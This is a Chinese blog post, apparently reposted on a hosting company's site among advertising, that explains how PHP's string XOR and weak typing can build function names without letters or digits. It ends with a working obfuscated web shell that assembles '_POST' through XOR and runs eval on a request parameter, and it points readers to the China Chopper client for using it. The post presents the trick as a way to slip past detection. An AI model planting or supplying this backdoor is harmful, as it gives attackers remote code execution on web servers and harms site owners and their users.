php后门--异或-创新互联

  看这个:

专注于为中小企业提供网站设计、成都做网站服务,电脑端+手机端+微信端的三站合一,更高效的管理,为中小企业鄂温克免费做网站提供优质的服务。我们立足成都,凝聚了一批互联网行业人才,有力地推动了上千家企业的稳健成长,帮助中小企业通过网站建设实现规模扩充和转变。

echo"A"^"}";

?>

  运行这段代码,那么输出的结果是字符"<",之所以会得到这样的结果,是因为代码中对字符"A"和字符"}"进行了异或操作。在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或,异或完,又将结果从二进制转换成了字符串。异或操作有时也被用来交换两个变量的值。

  我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:

$_++;

$__="<"^"}";

$__("stuff");

?>

看到这段代码,大家或许会觉得很疑惑,下面我简单的来解释一下:

 (1)$_++;这行代码的意思是对变量名为"_"的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。

 (2)$__="<"^"}";对字符"<"和"}"进行异或运算,得到结果A赋给变量名为"__"(两个下划线)的变量

 (3)$__("stuff");通过上面的赋值操作,变量$__的值为A,所以这行可以看作是A("stuff"),在PHP中,这行代码表示调用函数A,但是由于程序中并未定义函数A,所以这行代码会抛出一个致命错误使程序停止运行。这行代码没什么实际的意义,但是它能简单体现出在PHP中,我们可以将字符串当作函数来处理。

 文章进行到这里,大家如果再看到类似的PHP后门应该不会那么迷惑了,你可以通过一句句的分析后门代码来理解后门想实现的功能。如果你依然迷惑,那说明本菜鸟的文章写的不好,先说声抱歉了,但是还是希望你别骂我。

 上面的那段示例代码最后会出错,导致程序停止运行,当然写出一个出错的程序并不是我们的目的,使用这种后门的主要目的是创建一些可以绕过检测的并且对我们有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我们需要的东西。

 下面是个非常简单的非数字字母的PHP后门:

@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
@eval(${$__}[!$_]);//mima:0

  上菜刀把。

另外有需要云服务器可以了解下创新互联cdcxhl.cn,海内外云服务器15元起步,三天无理由+7*72小时售后在线,公司持有idc许可证,提供“云服务器、裸金属服务器、高防服务器、香港服务器、美国服务器、虚拟主机、免备案服务器”等云主机租用服务以及企业上云的综合解决方案,具有“安全稳定、简单易用、服务可用性高、性价比高”等特点与优势,专为企业上云打造定制,能够满足用户丰富、多元化的应用场景需求。


新闻标题:php后门--异或-创新互联
转载源于:http://myzitong.com/article/dihpsg.html